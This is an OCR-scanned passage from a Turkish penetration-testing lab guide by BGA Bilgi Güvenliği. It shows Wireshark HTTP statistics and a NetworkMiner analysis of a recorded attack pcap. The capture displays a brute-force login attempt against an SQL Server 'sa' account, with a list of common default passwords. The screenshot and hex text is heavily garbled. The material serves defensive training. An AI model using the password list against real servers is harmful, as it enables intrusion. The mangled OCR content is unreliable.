79 5f 66 73 46 64 52 45 49 26 61 6c 3d 74 72 b y_fsFdAE Tkalstr+

65 Be 26 66 76 3d 31 31 2e 37 Ze 37 30 30 26 66 ens&fv=11 .7.700&f

34 3d 34 30 30 30 30 30 30 26 66 31 3d 35 30 30 4=400000 O&F1=500

30 30 30 30 30 3b 20 57 31 56 48 58 28 72 65 73 00C00; W LVHX.res

75 6d 65 3d 56 S5f 78 45 52 71 46 53 34 34 59 32 ume=V_xE RQFS44Y:

31 31 35 33 2c 30 50 43 41 63 58 65 46 45 64 6b  1153,07C AcxibEdk

FA I AN W 3 2c 47 66 70 ac 65 A1 39 4f 75 72 22084 . Gf ol eaB0ur 3

- Displayed: 2630 (41,5%) - Dropped: O (0,0%)
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Adim 4: En fazla yapilan HTTP isteg@inin gosterilmesi

X Capturing from Wi-Fi: en0 [Wireshark 1.10.0 (SVN Rev 49790 from /trunk-1.10))
File Edit View Co Capiure Analyze Statistics Telephony Tools Internals Help

eedE I BREXe ae«»wFREB QAR @§EE% B

Filter: |

Protocol| Leng

'\ HTTP/Requests with filter:

Topic / Item |Coum ‘?ale (ms) |Percem
330 5.843890000  192.168.2.7 | [ HTTP Requests by HTTP Host 972 0,001136
331 5.845058000  €5.111.30.77 b res.reklamport.com 15 0,000018
332 5.845104000  192.168.2.7

b www.sahibinden.com 30 0,000035

333 5.848452000 173.194.39.2
334 5.852831000  ©5.111.30.8]
335 5.854696000  £5.111.30.8)
336 5.854774000  152.168.2.7

ban sah 26%

en.com S0 0,0001C

mageS.sahibinden.com 40 0,000047 4,12%
b.scorecardresearch.com 55 0,000064 5,66%
pubads.g.doubleclick.net 0,000012 1,03%
0,000012 1,03%
0,0000 16%

338 5.855282000
339 5.872665000

182.168.2.7
85.111.30.81

ad.reklamport.com
gatr.hit.gemius.p

Frame 337: 639 bytes an wire (5113
Ethernet 11, Src: Airtiesw_S8:Se:3 www.google-analytics.com 32 0,000037
Internet Protocol Version 4, Src: csi.gstatic.com 1 0,000001 0, 10%
Transmission Contral Protocol, Srg

3
3
3
1
b
3
3
4
[3 Reassembled TCP Segments (3465 b ds.serving-sys.com 1 0,000001 0,10%
3
b
13
3
4
3
b
b

Hypertext Transfer Pratacol kelebekgaleri.hurriyet.com.tr 0,000 5,14%
JPEG File Interchange Format 000

0,00002
0,000018
22 0,000026
0,000008 0,72%
tr El 0,000011 0,93%
0,00007
0,0000

vewvwwww i

16%

www.hurriyet.com.tr

apil.hurpass.com
mgkelebek.hurriyet.
adonline.e-kolay.net

sayac.hurriyet.con
ad.e-kolay.net

www.facebook.com

POS TSecr=879219594

0nch a5 Ff 00 a0 de af G b1 dR c4 §3 4R 47 Bc ba 53

Frame (639 bytes) Reassembled TCP (3465 bytes)]

JPackets: 94674 - Displayed: 94674 (100,0%)

enQ: <live capture inp

DDOS saldiri (HTTP Flood) tipi analizinde oldukga yararl bir 6zellik olarak kullanilabilir.

BGA Bilgi Giivenligi A.S.

www.bga.com.tr | @bgasecurity



[PENTEST LAB GALISMALARI]

3.5. Network Miner ile Trafik Analizi

Amac: NetworkMiner aracini kullanarak kaydedilmis bir trafigi incelemek

Kullanilan Araglar: NetworkMiner

Uygulama: Yerel agdan elde edilen trafik networkminer araci ile analiz edilip, yerel
agda gergeklestirilen iglemler anlamlandiriimaya c¢aligilacaktir.

Networkminer aracinin Ucretsiz ve ticari surumleri bulunmaktadir, burada Ucretsiz
surimu tzerinden program tanitilacaktir.

Networkminer araci http://sourceforge.net/projects/networkminer/ adresinden indirmek
mumkuin. Ara¢ herhangi bir kurulum gerektirmemektedir. Caligtiriimasi yeterlidir.

Yeni bir paketin incelenmek lGzere tanitiimasi i¢in, asagida gosterildigi gibi File - Open
secenekleri segilir.

@Nehmrldﬁiner 1.6.1

File | Tools  Help

I:E Cpen | O v | 2
Receive Pcap over IP Chrl+R Caze Panel
Elxit - - THH . Credertials | Sessions| DNS | Parameters FKeywords Filename | MDS
Sort Hoztz On: | IP Address [ascending) w | [ Sart and Refrezh
< i
Reload Case Files

Live 3niffing Buffer Usage: [ ]

BGA Bilgi Giivenligi A.$. | www.bga.com.tr | @bgasecurity
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Hedef pcap dosyasinin tanitiima islemi:

Lanok in: | @' Dezktop

Ty )My Documents
L*b '_vi My Computer
by Recent ‘ﬂl’*"l';.-' Metwork Places
Documents | |[C3)MebwarkMiner_1-6-1

— 5-Attack, prap
‘ [ . &Netwnrk Connections
s

T T

Deszktop

~

ty Documents

9

by Computer

-

File name: |5-.¢.ttau:k w |
by Metwark, Files of type: | Foap filez [*.poap. *.cap. “.dump. “.dmp, "log] |

Araca trafigin kayit dosyasi eklenince, bir analiz islemi gerceklestirilecektir.
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ENehﬂmrkMiner 1.6.1

File  Tools Help

| - Select & nebwoark adapter in the list

80
Cleartext | Anomalies| Calse Fanel
Hosts (4] | Frames [30wx] | Files | Images || Messages | Credentials [269) | Sessions (281]) DNS | Paramaters | Keywords | Filename | MD5
B-Attack... 440e8d..
Sart Hosts On: | IP Address [azcending] w | [ Sart and Refresh ]
1225187 53 [12.25.187 58,1433] (windows)

12.25.187.61
@) 12.25.187.255
B 220245173190 [SYD-5-21-£5¢1] Pefindows]

[ Feload Case Files ]

Live Sniffing Buffer Usage: [ ]

Burada goruldigu Uzere bazi alanlarda tespitler yapilmistir. Burada “Credential’
sekmesine bakildiginda:
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@ =19
File  Tools  Help
- Select a network adapter in the list - |
v Caze Panel
Hosts [4) | Frames [30ux) | Files | Images | Messages| Credentials (263] | Sessions (281]) DNS | Parameters | Keywords | Cleartest | Anomalies
Filename | MD5
Show Cookiss Show NTLM challengeresponse  [] Mask Passwords Batack  440e5d
Client Server Protocol Usem Password Walid | Login timestamp
220.245173190 [SYD-5-21-E5x]] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa administrator Unknown  4/23/2006 4:56:51 &AM
220.245173.190 [SYD-5-21-E5x] (Windows] 122618758 [12 25,187 58,143 TDS [S0L] sa administrador Unknown  4/23/2006 4:56:52 AM
220.245.173.190 [SYD-5-21-E5X] (Windows] 122618788 [12.25.187.62143..  TDS [SOL) sa adrninistrateur Unknown  4/23/2008 4:56:53 AM
220.245173190 [SYD-5-21-E5] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa administrat Unknown  4/23/2006 4:56:54 AWM
220.245173.130 [SY¥D-5-21-E5X1] (Windows] 1226187 58 [12 25,187 58,143 TDS [SOL) sa admins Unknown  4/23/2006 4:56:55 AM
220.245173190 [SYD-5-21-E5x]) [windows]  1225187.58[12.25187.58143..  TDS (S0L) 3@ admin Unknown  4/23/2006 4:56:56 &AM
220.245173190 [SYD-5-21-E5] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa adm Unknown  4/23/2006 4:56:57 AW
220.245173.130 [SYD-5-21-E5X1] (Windows] 1226187 58 [12 25,187 58,143, TDS [S0L] sa password] Unknown  4/23/2006 4:56:58 AM
220.245173190 [SYD-5-21-E5x]] [windows)  1225187.58[12.25187.58143..  TDS (S0L) sa password Unknown  4/23/2006 4:56:59 &AM
220.245173130 [SvD-5-21-E5x] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa passwd Urknown  4/23/2006 4:57:00 AM
220.245173.130 [SY¥D-5-21-E5X] (Windows] 1226187 58 [12 25,187 68,143 TDS [S0L] sa pass1234 Unknown  4/23/2006 4:567:01 AM
220.245173190 [SYD-5-21-E5x]] (Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa pass Unknown  4/23/2006 4:57:02 &AM
220.245173.130 [SYD-5-21-E5x] (Windows] 1226187 58 [12 25,187 58,143, TDS [S0L) sa prad Unknown  4/23/2006 4:57:03 &AM
220.245173190 [SYD-5-21-E8x]) [Windows)  1225187.58[12.25187.58.143..  TDS (S0L) sa 007 Unknown  4/23/2006 4:57:04 &AM
220.245173190 [SYD-5-21-E5] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa 1 Urknown  4/23/2006 4:57:05 AW
220.245173.130 [SY¥D-5-21-E5X1] (Windows] 1226187 58 [12 25,187 58,143 TDS [SOL) sa 12 Unknown  4/23/2006 4:57:06 AM
220.245173190 [SYD-5-21-E5x]) [windows]  1225187.58[12.25187.58143..  TDS (S0L) 3@ 123 Unknown  4/23/2006 4:57:07 &M
220.245173190 [SYD-5-21-E5] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa 1234 Urknown  4/23/2006 4:57:08 AM
220.245173.130 [SYD-5-21-E5X1] (Windows] 1226187 58 [12 25,187 58,143, TDS [S0L] sa 12345 Unknown  4/23/2006 4:57:09 AM
220.245173190 [SYD-5-21-E5x]] [windows)  1225187.58[12.25187.58143..  TDS (S0L) sa 123456 Urknown  4/23/2006 4:57:10 &M
220.245173.130 [SYD-5-21-E5x] (Windows] 122618758 [12 25,187 58,143 TDS [S0L) sa 1234567 Urnknown  4/23/2006 4:57:11 &AM
220.245173.130 [SY¥D-5-21-E5X] (Windows] 1226187 58 [12 25,187 68,143 TDS [S0L] sa 12345678 Unknown 472372006 4:567:12 AM
220.245173190 [SYD-5-21-E5x]] (Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa 123456789 Urknown  4/23/2006 4:57:13 &AM
220.245173.130 [SYD-5-21-E5x] (Windows] 1226187 58 [12 25,187 58,143, TDS [S0L) sa 1234567830 Unknown  4/23/2006 4:567:14 AM
220.245173190 [SYD-5-21-E8x]) [Windows)  1225187.58[12.25187.58.143..  TDS (S0L) sa 2000 Unknown  4/23/2006 4:57:15 &AM
220.245173190 [SYD-5-21-E5] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa 2001 Unknown  4/23/2006 4:57:16 AM
220.245173.130 [SY¥D-5-21-E5X1] (Windows] 1226187 58 [12 25,187 58,143 TDS [SOL) sa 2002 Unknown  4/23/2008 4:57:17 AM
220.245173190 [SYD-5-21-E5x]) [windows]  1225187.58[12.25187.58143..  TDS (S0L) 3@ 2003 Unknown  4/23/2006 4:57:18 &M
220.245173190 [SYD-5-21-E5] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa 2004 Urknown  4/23/2006 4:57:19 AW
220.245173.130 [SYD-5-21-E5X1] (Windows] 1226187 58 [12 25,187 58,143, TDS [S0L] sa test Unknown  4/23/2006 4:57:20 AM
220.245173190 [SYD-5-21-E5x]] [windows)  1225187.58[12.25187.58143..  TDS (S0L) sa guest Unknown  4/23/2006 4:57:22 &AM
220.245173.130 [SYD-5-21-E5x] (Windows] 122618758 [12 25,187 58,143 TDS [S0L) sa none Urnknown  4/23/2006 4:57:23 AM
220.245173.130 [SY¥D-5-21-E5X] (Windows] 1226187 58 [12 25,187 68,143 TDS [S0L] sa demo Unknown 472372006 4:567:24 AM
220.245173190 [SYD-5-21-E5x]] (Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa Ui Unknown  4/23/2006 4:57:25 &AM
220.245173.130 [SYD-5-21-E5x] (Windows] 1226187 58 [12 25,187 58,143, TDS [S0L) sa lins Unknown  4/23/2006 4:57:26 AM
220.245173190 [SYD-5-21-E8x]) [Windows)  1225187.58[12.25187.58.143..  TDS (S0L) sa changeme Unknown  4/23/2006 4:57:27 &M
220.245173190 [SYD-5-21-E5] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa default Unknown  4/23/2006 4:57:28 AM
220.245173.130 [SY¥D-5-21-E5X1] (Windows] 1226187 58 [12 25,187 58,143 TDS [SOL) sa system Unknown  4/23/2006 4:57:29 AM
220.245173190 [SYD-5-21-E5x]) [windows]  1225187.58[12.25187.58143..  TDS (S0L) 3@ sETVer Urknown  4/23/2006 4:57:30 &AM
220.245173130 [SvD-5-21-E5x] [Windows)  1225.187.58[12.25.187.58143...  TDS (S0L) sa root Urknown  4/23/2006 4:57:31 AM
220.245173.130 [SYD-5-21-E5X1] (Windows] 1226187 58 [12 25,187 58,143, TDS [S0L] sa rull Unknown  4/23/2006 4:57:32 AM
220.245173.190 [5YD-3-21-£5] [Windows)  12.25.167.56 [12.25.187.58.143..  TDS (50L) s anerty Unknown  4/23/2006 4:57:33 M e e |
Live Sniffing Buffer Usage: [ ]

Hedef sistemin bir veritabani sunucusu oldugu ve saldirganin bu sisteme giris
denemelerinde bulundugu gorulmektedir.

Not: Bu dokiiman BGA Bilgi Guvenligi A.$ icin Mesut Turk tarafindan hazirlanmistir.

BGA Bilgi Giivenligi A.S. | www.bga.com.tr | @bgasecurity



	3. INTERNET VE YEREL AĞ SIZMA TESTLERİ
	3.1. Iodine ile DNS Tünelleme
	3.2. Cain&Abel Kullanarak Arp Cache Poisoning Saldırısı
	3.3. DHCP Spoofing Ve DHCP Resource Starvation Denemeleri
	3.4. Paket/Protokol Analizi Amaçlı Wireshark Kullanımı
	3.5. Network Miner İle Trafik Analizi


